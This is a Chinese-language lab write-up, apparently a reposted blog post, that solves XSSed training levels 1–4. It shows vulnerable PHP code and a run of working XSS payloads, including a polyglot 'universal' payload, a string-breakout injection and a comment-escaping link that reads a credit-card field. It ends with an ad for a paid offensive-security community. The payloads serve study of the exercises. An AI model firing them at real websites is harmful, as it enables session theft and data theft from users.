【XSSed】攻防实战全记录

admin 2024年12月24日00:03:16评论14 views字数 2946阅读9分49秒阅读模式

最后救你一次,不要让欲望击溃你的意志

首先整体浏览网站

【XSSed】攻防实战全记录

进入Level1 Basic XSS

首先整体浏览网站

【XSSed】攻防实战全记录

对源码进行分析

漏洞产生于如下代码段:

echo($_GET['q']);

直接将用户输入插入了html页面,没有任何过滤。

  • 构造普通payload:

<script>alert(/xss/)</script>

页面弹窗成功

【XSSed】攻防实战全记录

  • 构造获取cookie的payload:

<script>alert(document.cookie)</script>

成功弹出cookie

【XSSed】攻防实战全记录

  • 构造a链接的xss的payload:

<a href="javascript:alert('xss')">xss</a>

点击xss链接成功弹窗

【XSSed】攻防实战全记录

  • 构造加载图形失败执行的payload:

<img src=x onerror=alert(1)>

成功弹窗

【XSSed】攻防实战全记录

  • 构造iframe框架payload:

<iframe onload=alert('xss')>

成功弹窗

【XSSed】攻防实战全记录

  • 构造svg标签payload

<svg onload=alert(1)>

成功弹窗

【XSSed】攻防实战全记录

  • 构造video标签payload

<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />

成功弹窗

【XSSed】攻防实战全记录

  • 构造body标签payload

<body onload=alert(1)>

成功弹窗

【XSSed】攻防实战全记录

  • 构造style标签payload

<style onload=alert(1)></style>

成功弹窗

【XSSed】攻防实战全记录

  • 构造input标签payload

<input onmouseover=alert(1)>

当鼠标移动到空白位置,成功弹窗

【XSSed】攻防实战全记录

万能xss的payload

jaVasCript:/*-/*`/*`/*'/*"/**/(/* */oNclJavaScript XSSiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>x3csVg/<sVg/oNloAd=alert()//>x3e

进入Level2 JavaScript XSS

首先整体浏览网页

【XSSed】攻防实战全记录

对源码进行分析

漏洞产生于如下代码段:

$q = $_GET['q'];<script type="text/javascript">var search_term = " $q";</script>
  • 构造普通payload:

<script>alert(/xss/)</script>

弹窗失败,查看页面回显的代码

【XSSed】攻防实战全记录

与basic xss将输入插入到html中不同,这里把输入未经过滤插入了JavaScript代码段。因为在字符串中,需要闭合两边的引号,构造如下payload:

a";alert(1);var q="a

成功弹窗

【XSSed】攻防实战全记录

  • 构造加载图形失败执行的payload:

<img src=x onerror=alert(1)>

成功弹窗

【XSSed】攻防实战全记录

进入Level3 Filtered XSS

首先整体浏览网页

【XSSed】攻防实战全记录

对源码进行分析

漏洞产生于如下代码段:

$id = str_replace('"', '&quot;', $_GET['id']);$creditcard = $_GET['creditcard'];$creditcard = preg_replace('/([^s])([A-Za-z\"\'])/', '', $creditcard);print <<<END<h1>Please Confirm Your Order</h1><div id="creditcard">$creditcard</div><script type="text/javascript">var q = "$id";document.write("<!-- " + q + "-->");</script>END;

从源码中可以看出,过滤creditcard的正则非常完善,而对变量id只是转义了一下双引号(所以用双引号闭合是插不进去的)。这里体现了木桶原理,只要有一个可控输入位置成为插入点,其它输入的过滤再严格也没有意义。

  • 构造普通payload:

<script>alert(1);</script>

查看回显html页面代码:

【XSSed】攻防实战全记录

有两处值得我们注意:

1、我们的输入alert(1);被过滤得只剩下 t(1) ,可见后端的正则过滤比较完善;

2、html后半部分有一个JavaScript代码段,其中有一个变量q,它先被赋值为123,然后被用注释符包裹,最后写入到到页面中,如果我们可以控变量q的值,闭合注释,就能利用document.write()函数向页面中插入js代码。

再回到前端看看有没有可能控制变量q,发现:

【XSSed】攻防实战全记录

有一个变量id的默认值为123,它的属性被设置为hidden,可以想到这里的id就是后端的q,我们将hidden改为text,页面上就会多出一个id的输入框。

【XSSed】攻防实战全记录

值得注意的是,因为是插入到js代码段中,而html又是一种从前往后遇到匹配的标签就解析的语言,所以不能使用</script>标签,否则会使该代码段的<script>标签提前被闭合而产生混乱,就像下面这样:

【XSSed】攻防实战全记录

那要如何插入js代码呢?这里就要用到一个伪协议:

javascript:

直观上来说,这个伪协议可以让一个放url链接的地方,执行js代码,比如:

<a href="http://fdujwc.cn" target='_blank'>点这里跳转链接</a><a href=javascript:alert(1); target='_self'>点这里执行js代码</a>这里之所以用不同的target属性是因为我使用的博客框架对<a>有一个默认值target='_blank',这个标签导致新打开一个窗口,会影响js代码在当前页面的执行。

现在,我们运用这个伪协议,构造payload:

id=--><a href=javascript:alert(1);>click</a><!--

点击click成功弹窗

【XSSed】攻防实战全记录

另外,题目要求alert出creditcard的值,所以还要把alert内的东西完善一下,最终payload:

--><a href=javascript:alert(document.getElementById('creditcard').innerHTML);>click</a><!--

点击click成功弹窗

【XSSed】攻防实战全记录

进入Level4 Chained XSS

首先整体浏览网站

【XSSed】攻防实战全记录

  • 构造普通payload:

<script>alert(/xss/)</script>

页面弹窗成功

儒道易行攻防圈

1、本圈主要分享:攻防及SRC实战经验分享、代码审计漏洞详情及代码、最新漏洞详情及原创漏洞利用工具、免杀手法及工具代码、问题解答等。2、圈主出身于深信服深蓝攻防实验室、新华三攻防实验室,连续5年多次获得国家级、省级、地市级、行业级护网攻击队前三名。3、漏洞盒子总榜前五十名、补天总榜前五十名、去哪网SRC总榜前五十名。4、获得50+CVE通用漏洞编号、100+CNVD通用漏洞证书。5、CSDN、公众号、博客、先知社区、SecIN、FreeBuf粉丝量10000+。6、前1-50名: 25¥,50-100名: 50¥,100-150名: 75¥,依次类推.....!
【XSSed】攻防实战全记录
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

原文始发于微信公众号(儒道易行):【XSSed】攻防实战全记录

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月24日00:03:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【XSSed】攻防实战全记录https://cn-sec.com/archives/3544606.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息